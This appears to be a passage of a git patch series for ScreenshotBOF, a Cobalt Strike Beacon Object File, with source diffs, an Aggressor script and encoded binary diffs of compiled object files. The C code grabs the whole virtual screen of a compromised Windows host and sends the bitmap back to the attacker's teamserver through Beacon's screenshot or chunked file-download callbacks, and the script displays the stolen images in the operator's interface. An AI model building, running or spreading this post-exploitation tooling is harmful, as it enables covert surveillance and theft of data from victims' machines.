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 VPlb;0=MSSjK8cUt%|P~N_Yc9W9xMO= From dea10235e2f64a3590fb03c8114c28b31052cac4 Mon Sep 17 00:00:00 2001 From: BinaryFaultline Date: Thu, 27 Oct 2022 23:46:58 -0500 Subject: [PATCH 2/3] Added GUI components to the CNA to allow rendering of the Bitmap images --- ScreenshotBOF/Source.cpp | 13 +++-- bin/BOF/ScreenshotBOF.x64.obj | Bin 6396 -> 6234 bytes bin/BOF/ScreenshotBOF.x86.obj | Bin 4935 -> 4761 bytes bin/BOF/screenshotBOF.cna | 92 ++++++++++++++++++++++++++++++++++ 4 files changed, 98 insertions(+), 7 deletions(-) diff --git a/ScreenshotBOF/Source.cpp b/ScreenshotBOF/Source.cpp index 8e5cdde..4615606 100644 --- a/ScreenshotBOF/Source.cpp +++ b/ScreenshotBOF/Source.cpp @@ -6,7 +6,7 @@ #pragma comment(lib, "Gdi32.lib") /*Download Screenshot*/ -void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { +void downloadScreenshot(unsigned char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { // Function modified by @BinaryFaultline // This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs @@ -118,7 +118,7 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) GetObject(hBitmap, sizeof(Bitmap0), (LPSTR)&Bitmap0); bi.biSize = sizeof(BITMAPINFOHEADER); bi.biWidth = Bitmap0.bmWidth; - bi.biHeight = -Bitmap0.bmHeight; + bi.biHeight = Bitmap0.bmHeight; bi.biPlanes = 1; bi.biBitCount = wBitCount; bi.biCompression = BI_RGB; @@ -163,9 +163,9 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) bmfHdr.bfReserved1 = 0; bmfHdr.bfReserved2 = 0; bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER) + dwPaletteSize; - void* bmpdata = malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize); + unsigned char* bmpdata = (unsigned char*)malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize); memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER)); - memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); + memcpy(((unsigned char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); // The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those // Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded @@ -173,12 +173,12 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session); char* user; user = (char*)getenv("USERNAME"); - char title[] = "Right-click this and Save to view"; + char title[] = "Right-click and \"Render BMP\" to view"; int userLength = MSVCRT$_snprintf(NULL,0,"%s",user); int titleLength = MSVCRT$_snprintf(NULL,0,"%s",title); - downloadScreenshot((char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize), session,(char*)title, titleLength, (char*)user, userLength); + downloadScreenshot(bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize, session,(char*)title, titleLength, (char*)user, userLength); //WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL); /* clean up */ @@ -218,7 +218,6 @@ void go(char* buff, int len) { */ BeaconPrintf(0x0, "[+] Saving bitmap screenshot to Screenshots tab..."); - BeaconPrintf(0x0, "[*] Currently Cobalt Strike's Screenshots tab only supports rendering JPG files, so you need to right-click and \"Save\"..."); SaveHBITMAPToFile(hBitmap); // clean up diff --git a/bin/BOF/ScreenshotBOF.x64.obj b/bin/BOF/ScreenshotBOF.x64.obj index 4a28c4704195eddcd7e1266c865a2086577f3734..9efaead50a5a036e4a69e77631af8698eb768e9f 100755 GIT binary patch delta 1222 zcmYk*Ur19?90%~<-L9Jdx28GMY|YJC{>i!2OvB|LQu5ENhgD)(Zc#)kCYcnj0)rmJ z)_EyVv42>U1&tzz>LC<*?8)+>C@Ktm2+5v$=zD&5ZXVd#=l<^RoO{mip8LVwkpQ|S`=4Xj(} zGgwd1n^`O9Gg*3t2n)uDM99cWhe}xakT${<05@{b4P~+RLD{TvXe(<-C0fs#gVwP= zK-$!0F+`{w9#;izVtJq(mM@}LEX5o%L-IA_WkU{@Vi3zId5TwLrsf8kP|nrn1oTKH(uDb_f@AWb zr7S~4^5j%;OukhYOTIu&7HBueWX*Q4@*|Slu8}b(Rd>Fap8xZ_VEN;OIc46PRo?l7 zh6bmz=fAhUS?Qh`@!dJPt6_W2=M&#P9d553c_)@qk1JE6&5)ZUzc1Ow6PuUBu;HZX zATID7;b%Lrx65?AoU&F(eQ7FDio`FIBXG|@_*JH9ZKqri8qOB4ji?q8Sy~*% zaHJm*S>kBUZA4_LqdBvP$U;YR7Q>NfPA2wX6Ju#bN>k`{+JY{=p|R1^u&2J!DJC*5 Pueq|B^VVE>%#Z&A(!`iQ delta 1373 zcmZA1UuaWT90%~gyhyg z4J< zo^$Rm=k`wjt4MS5i-j~cvorC`MKoG&Uay@lzaLoJpb;H)(0{HdZHtCYMnADrXjj8J`rn zECv;)^7&i=32sUng>-hmcz4^F*q6>2#g(F%6Gw7WB5N2)wPYc^KV^mznRMa+Z^ftf z;tPkvR1r?MCYS1aDKx?@tkl^m0>xh=JZbClRUr-Or zvv9s1VaU(f2-M5^3{v&fX~yn7Z}PiY*5oWI@% zoS2r#5@wpLICJ6@CV*zeEhMowW}lV41WCoWat|?;qGiwFTUE;KlfvsD_^?X z9esIBrsG&x|1}=s*BMlzmS}3?1@hNcUv(%^9r@qes>)IwT1_JApkrvWr(X-o5l^5r zcXge*yLt^&jdRAkC0dU}6&vTWnq-iuqSwZpM52mc8*>?nDt&FtTs5hUapM{M@_{F$ lMJugscN`6)TekG$C%TK|@7^xC$Q!S-B3bhG&2!d!;a^cu%*Fr! diff --git a/bin/BOF/ScreenshotBOF.x86.obj b/bin/BOF/ScreenshotBOF.x86.obj index 9615019cfef2030b1496c504df73eb357ad5862f..65c20d4efb32ce57f5337a3bfd6493c6bf522f55 100755 GIT binary patch delta 878 zcmZA0Z%7ki90%~<-R9-;u92-$S9lX zD6#I1y$A%eh?G`q6_h~{MAjR7V?}@7nlE}$2H~6az2DIl9Xww?_xnBfjOXsz%j&CM zrBf)Ni~A2887v|Srj=%4G~MM3T_&Qii1_Dfp+HMrGJYoMIg$8N9+8ONU|!5&R)XnC zw-_zDJKZPf8NsfH#4V+V6EU@NS3D7m_p7a4kxDh$r=IGKpCKBmAj42kBDZq|3?8kQ;$`B`Bb zQ86n96|#;)=F&OH*sDa3p|z}OsGRlA(i~*|TBDt)0^O8EFF=(i&Oqx}U!h9YB4qAe zDIluiS{dYFwL)H2kJXJ@-2`NAX#z4g@*G;vPkb|dg9;6~O@sFt+|EoET>86QI; z1;X)yDj=EVhc>XbLJF(hs`W#4sJV=tQZ;u6ARlYnq4EbeXBTocnfbwMw{8zi-1*h% zTnK#{`W&9^%{P7-(N#GrjOrKUD%m*6#x*s+b4M=f6rr z;Go{DxMkyT2hnq9x`(qzl@ifQ_^@`ob@QLmfMp^We=FU%JFky9YlXAf8K>V?*sf`j M?K`whS5|cV2JJ9{p#T5? delta 1061 zcmZA0Uq}=|90%~(RrgZYG}E%o9RHr4dY*??7iNOR9dVX;8b(N+=jxqaw{o}sqrfP9 zh_JMMilm+_B7BHTdr6;?{@6oODEbsd(1ZA5kkG^Row>ZoUFOGUf4|+C*%{`3(VOBF zr;tGAA6@X2$b?i+q?{BcCmM~mB!Li{NdCL(NqxOpQ--v{D}n98Gl`IfI6^iOqnVnC z>1>h6&)=(penLE!sd;@N>JD^LmwP~=no0+J%AkHntQ+C)Uo^GThW=ns326Rd+Mss0 z{Tg*?L0_+83{jUSs3?JuSJgsPb9YcRfR{r3eSK;W8GO{K1bu;SdZx)vyL^5nR8B)G z9aj5kKv6o`XhC1MSF7;&eV$%Ei+nbXe6!h1^bg{z@KD^UD7?^{rA6`AYBcJh!WV-n}?bhkHW1~)8Of(8k-IQ22!U_^$F)A8U zSxgRSADTp35%+WTAZBr0MLfVYg?Nx_8gVz*3}QOh9AYZhLM*q$7PJa2gM3AdcC!v; zqe)~7@er4Yoz3C0Kqjt6?BHH54Pr|mk!w(NxCMx9uS6E1!(3}nF4vF08o?l7bU1rF zA(WSwp**f{P(IghsDMjO*j|rZsF3H%p(3spsFrnKU<{=aNe~EksOS#r# zLYh?YoB=X($xsqkI#kY;3ng<|Ash#MSPQZ3lgL>pg{v)=8-*&7%OLk8DQ ztG0di$;!`}vi0ThHDjvN@afCy%DatAhR2qNrIPjO1N}yFhcKysPcD$zd1IHjv~^t1 zkk21&!UL8Qt $MAX_IMAGE_WIDTH) { + $width = $MAX_IMAGE_WIDTH; + } + if ($height > $MAX_IMAGE_HEIGHT) { + $height = $MAX_IMAGE_HEIGHT; + } + $scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]]; + + $component = [new JLabel: $scaledIcon]; + $tab_name = "ScreenshotBOF - $user\@$computer"; + addTab($tab_name, $component, "..."); + +} + +# Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab +on screenshots { + local('$screenshot $data'); + + $screenshot = $1; + $data = $screenshot['data']; + + # Check the magic header of the data to see if it's a BMP + if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { + display_image($screenshot); + } +} + +popup_clear("screenshots"); +popup screenshots { + item "&Interact" { + openOrActivate($1["bid"]); + } + + menu "&Color" { + insert_component(colorPanel("accents", $1["id"])); + } + + item "&Save" { + prompt_file_save($1["id"] . ".jpg", lambda({ + local('$handle'); + $handle = openf("> $+ $1"); + writeb($handle, $data); + closef($handle); + + show_message("Screenshot saved."); + }, $data => $1["object"]["data"])); + } + + separator(); + + item "&Remove" { + redactobject($1["id"]); + } + + item "Render &BMP" { + $data = $1["object"]['data']; + + # Check the magic header of the data to see if it's a BMP + if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { + display_image($1["object"]); + } else { + show_error("Image is not a Bitmap. It should render in Screenshots tab."); + } + } +} + #Register command beacon_command_register( "screenshot_bof", From 1c4b3d84cc21bd8543a7944fa8ac9b303741b7de Mon Sep 17 00:00:00 2001 From: BinaryFaultline Date: Fri, 28 Oct 2022 16:27:48 -0500 Subject: [PATCH 3/3] Added a check around the profile to choose where to save it to. If URI param, saves to screenshots, otherwise saves to downloads. Also, added an item to the right-click menu in downloads to render the image as a BMP --- ScreenshotBOF/Source.cpp | 167 ++++++++++++++++++++++++++++++++-- bin/BOF/ScreenshotBOF.x64.obj | Bin 6234 -> 9044 bytes bin/BOF/ScreenshotBOF.x86.obj | Bin 4761 -> 7004 bytes bin/BOF/screenshotBOF.cna | 80 +++++++++++++++- 4 files changed, 236 insertions(+), 11 deletions(-) diff --git a/ScreenshotBOF/Source.cpp b/ScreenshotBOF/Source.cpp index 4615606..f42928a 100644 --- a/ScreenshotBOF/Source.cpp +++ b/ScreenshotBOF/Source.cpp @@ -6,7 +6,7 @@ #pragma comment(lib, "Gdi32.lib") /*Download Screenshot*/ -void downloadScreenshot(unsigned char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { +void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { // Function modified by @BinaryFaultline // This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs @@ -79,6 +79,137 @@ void downloadScreenshot(unsigned char* jpg, int jpgLen, int session, char* windo return; } +void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) { + + //Intializes random number generator to create fileId + time_t t; + MSVCRT$srand((unsigned)MSVCRT$time(&t)); + int fileId = MSVCRT$rand(); + + //8 bytes for fileId and fileSize + int messageLength = downloadFileNameLength + 8; + char* packedData = (char*)MSVCRT$malloc(messageLength); + + //pack on fileId as 4-byte int first + packedData[0] = (fileId >> 24) & 0xFF; + packedData[1] = (fileId >> 16) & 0xFF; + packedData[2] = (fileId >> 8) & 0xFF; + packedData[3] = fileId & 0xFF; + + //pack on fileSize as 4-byte int second + packedData[4] = (fileSize >> 24) & 0xFF; + packedData[5] = (fileSize >> 16) & 0xFF; + packedData[6] = (fileSize >> 8) & 0xFF; + packedData[7] = fileSize & 0xFF; + + int packedIndex = 8; + + //pack on the file name last + for (int i = 0; i < downloadFileNameLength; i++) { + packedData[packedIndex] = fileName[i]; + packedIndex++; + } + + BeaconOutput(CALLBACK_FILE, packedData, messageLength); + + if (fileSize > (1024 * 900)) { + + //Lets see how many times this constant goes into our file size, then add one (because if it doesn't go in at all, we still have one chunk) + int numOfChunks = (fileSize / (1024 * 900)) + 1; + int index = 0; + int chunkSize = 1024 * 900; + + while (index < fileSize) { + if (fileSize - index > chunkSize) {//We have plenty of room, grab the chunk and move on + + /*First 4 are the fileId + then account for length of file + then a byte for the good-measure null byte to be included + then lastly is the 4-byte int of the fileSize*/ + int chunkLength = 4 + chunkSize; + char* packedChunk = (char*)MSVCRT$malloc(chunkLength); + + //pack on fileId as 4-byte int first + packedChunk[0] = (fileId >> 24) & 0xFF; + packedChunk[1] = (fileId >> 16) & 0xFF; + packedChunk[2] = (fileId >> 8) & 0xFF; + packedChunk[3] = fileId & 0xFF; + + int chunkIndex = 4; + + //pack on the file name last + for (int i = index; i < index + chunkSize; i++) { + packedChunk[chunkIndex] = returnData[i]; + chunkIndex++; + } + + BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength); + + } + else {//This chunk is smaller than the chunkSize, so we have to be careful with our measurements + + int lastChunkLength = fileSize - index + 4; + char* lastChunk = (char*)MSVCRT$malloc(lastChunkLength); + + //pack on fileId as 4-byte int first + lastChunk[0] = (fileId >> 24) & 0xFF; + lastChunk[1] = (fileId >> 16) & 0xFF; + lastChunk[2] = (fileId >> 8) & 0xFF; + lastChunk[3] = fileId & 0xFF; + int lastChunkIndex = 4; + + //pack on the file name last + for (int i = index; i < fileSize; i++) { + lastChunk[lastChunkIndex] = returnData[i]; + lastChunkIndex++; + } + BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength); + } + + index = index + chunkSize; + + } + + } + else { + + /*first 4 are the fileId + then account for length of file + then a byte for the good-measure null byte to be included + then lastly is the 4-byte int of the fileSize*/ + int chunkLength = 4 + fileSize; + char* packedChunk = (char*)MSVCRT$malloc(chunkLength); + + //pack on fileId as 4-byte int first + packedChunk[0] = (fileId >> 24) & 0xFF; + packedChunk[1] = (fileId >> 16) & 0xFF; + packedChunk[2] = (fileId >> 8) & 0xFF; + packedChunk[3] = fileId & 0xFF; + int chunkIndex = 4; + + //pack on the file name last + for (int i = 0; i < fileSize; i++) { + packedChunk[chunkIndex] = returnData[i]; + chunkIndex++; + } + + BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength); + } + + + //We need to tell the teamserver that we are done writing to this fileId + char packedClose[4]; + + //pack on fileId as 4-byte int first + packedClose[0] = (fileId >> 24) & 0xFF; + packedClose[1] = (fileId >> 16) & 0xFF; + packedClose[2] = (fileId >> 8) & 0xFF; + packedClose[3] = fileId & 0xFF; + BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4); + + return; +} + #pragma region error_handling #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr) BOOL _print_error(char* func, int line, char* msg, HRESULT hr) { @@ -93,7 +224,7 @@ BOOL _print_error(char* func, int line, char* msg, HRESULT hr) { #pragma endregion -BOOL SaveHBITMAPToFile(HBITMAP hBitmap) +BOOL SaveHBITMAPToFile(HBITMAP hBitmap, int getOnlyProfile) { HDC hDC; int iBits; @@ -118,7 +249,7 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) GetObject(hBitmap, sizeof(Bitmap0), (LPSTR)&Bitmap0); bi.biSize = sizeof(BITMAPINFOHEADER); bi.biWidth = Bitmap0.bmWidth; - bi.biHeight = Bitmap0.bmHeight; + bi.biHeight = -Bitmap0.bmHeight; bi.biPlanes = 1; bi.biBitCount = wBitCount; bi.biCompression = BI_RGB; @@ -163,9 +294,10 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) bmfHdr.bfReserved1 = 0; bmfHdr.bfReserved2 = 0; bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER) + dwPaletteSize; - unsigned char* bmpdata = (unsigned char*)malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize); + void* bmpdata = malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize); memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER)); - memcpy(((unsigned char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); + memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); + // The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those // Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded @@ -173,12 +305,24 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session); char* user; user = (char*)getenv("USERNAME"); - char title[] = "Right-click and \"Render BMP\" to view"; + char title[] = "Right-click this and \"Render BMP\" to view"; + char fileName[] = "ScreenshotBOF - Downloaded BMP.bmp"; int userLength = MSVCRT$_snprintf(NULL,0,"%s",user); int titleLength = MSVCRT$_snprintf(NULL,0,"%s",title); + int fileNameLength = MSVCRT$_snprintf(NULL,0,"%s",fileName); - downloadScreenshot(bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize, session,(char*)title, titleLength, (char*)user, userLength); + + // If the profile is get-only (termination in post client is URI based), download it as a screenshot, otherwise, download it as a file + + if (getOnlyProfile > 0){ + BeaconPrintf(0x0, "[+] URI post profile detected. Saving bitmap screenshot to Screenshots tab. Note, this takes a little while..."); + downloadScreenshot((char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize, session,(char*)title, titleLength, (char*)user, userLength); + } else { + BeaconPrintf(0x0, "[+] Post body profile detected. Saving bitmap screenshot to Downloads tab..."); + downloadFile((char*)fileName, fileNameLength, (char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize); + } + //downloadScreenshot((char *)bmp_bmp, bmp_bmp_len, session,(char*)title, titleLength, (char*)user, userLength); //WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL); /* clean up */ @@ -191,6 +335,9 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) #ifdef BOF void go(char* buff, int len) { datap parser; + int getOnlyProfile; + BeaconDataParse(&parser, buff, len); + getOnlyProfile = BeaconDataInt(&parser); int x1, y1, x2, y2, w, h; // get screen dimensions x1 = GetSystemMetrics(SM_XVIRTUALSCREEN); @@ -217,9 +364,9 @@ void go(char* buff, int len) { CloseClipboard(); */ - BeaconPrintf(0x0, "[+] Saving bitmap screenshot to Screenshots tab..."); - SaveHBITMAPToFile(hBitmap); - + + SaveHBITMAPToFile(hBitmap, getOnlyProfile); + BeaconPrintf(0x0, "[+] Screenshot downloaded..."); // clean up SelectObject(hDC, old_obj); DeleteDC(hDC); diff --git a/bin/BOF/ScreenshotBOF.x64.obj b/bin/BOF/ScreenshotBOF.x64.obj index 9efaead50a5a036e4a69e77631af8698eb768e9f..f9c60124f810224b8f4f2273c0ab7c15a2c27263 100755 GIT binary patch literal 9044 zcmd5?eQ*@z8GkQ1NQ#t1tHR(1Yr51};(6gP21LC}F3Fy~z)kLuSh30FZXpNB-Fdfx zprByV4$KkCbnH|++F>d)wSTnQYHf}|CsBrvmbTPC)N!1a>9h)hGb+wV{h0LkyzlPq z?(IS8e_hMIzxVe%@ALJ3>|VCXAJnibm34_f1cIWL%3IT8s@tXQImN6Y{f&-=nFcnmn8~B+u3}_IWj9 z&s;5-5E_X^`aPp|drjcC%r{1f*3Z0tPu8xt5~63J_jg^l4t=hd7~GU^SynR83N(Ux z*seM7ElIZpJ30ev!m)6uZAHV#NGj^#jdZk!Izt^j(Yw55me%CeoNs9b7hTCzMIK?bcgM=CtPTfP1-d(; z4U#RP|HDq>;=B~sq{YcwR!D%}(Z$}@p;5+yp=cx=xSy?wcJxpx6#C*kV?C)2gW9c$ zp;Tg%qz$GpIGvOlden4M%}H(Dkp@Z2NSjmY7F|D@$f;^NKbXrY9t2GkHzQ<}&M3L#mWiHS7*G>5-!G&8hSTX&|Ky$Fowt zWSqR3uJV!=AMi-4GMd^XqSWG>RKzL`r8Er&w+zCp$Kzp){6)yuKqk5Me{^W%BHWQR zVb2UiN|w?kZ@Xi1y|Ozj*D5>DO+q;xlUFxyHop!F&Mg9=b1*+nY_;c#7tZ_4)u zdC<-59+!8)3jB^Lg+1KKY4lMTUY}CL2!Omj89mIMhiMjGKVe*9%#9R8 zJPXX38aqeP_9Ck6M6hn`^kvNL_5 z)+Th>h4nUJm0h^NCagAusIugSE3`5ic9tB;GgF99CYQ_6Zf{f&sjMWBARiZoBoe55 z+08^?64#f`9tPjf{g}E!qu&S}rI2Q(mBeu)02(rVL4;1ivFR#@RKzZ%)plu?yAvXJ znaJvMYA+r9)*gqo`ag0ge#AKT-Rghj^B(ejcma`w(~-ptPSV67|`?F<2}ZM8Xdfv@1!Z>(Nf*)mbzWmMlVRj!xn`vL}A>Ko=m!)J?BUnB>uB2AsB z@0n^*0c&YQF-EBvc#c^f75x`2M*pRXVG1i0!w@=)K@t=rVkt%|FGefRsMVa|R#Asm zszZb_?5|LV2p<&@>kN58%TfnxWl?qc%%QJlX3l&;^B@+SD9Sb}$~Ie31}|Ea!Aljz z6jmsTA#@gnBq&OZih|aUMr=MmPtR`_#V?BDr=r9t-N6b)iSbb}Q556_EqhU%Ykya8 zF0CX8><5d>6qIFT2<+Jq8S3h_qylBTQ4TAG-7O< z9CJN3caq$$he`igFHvq#R7FAEKvXR#+TwzmGr7RP;fZm%7UK^}VCWTfKRO~FB=I)L zM*PDXnhPEW>${>?kKSi*qkjs0-T%1!Pju>jk2uyt@*X-caT*O>fae4v_>l=eHQ|>g zyg(36xH*JH?s*BurWTEzI`!1pKWeI9o4!z8_x!j_!617&nCbUGFP()2Oz9M+|75WZ 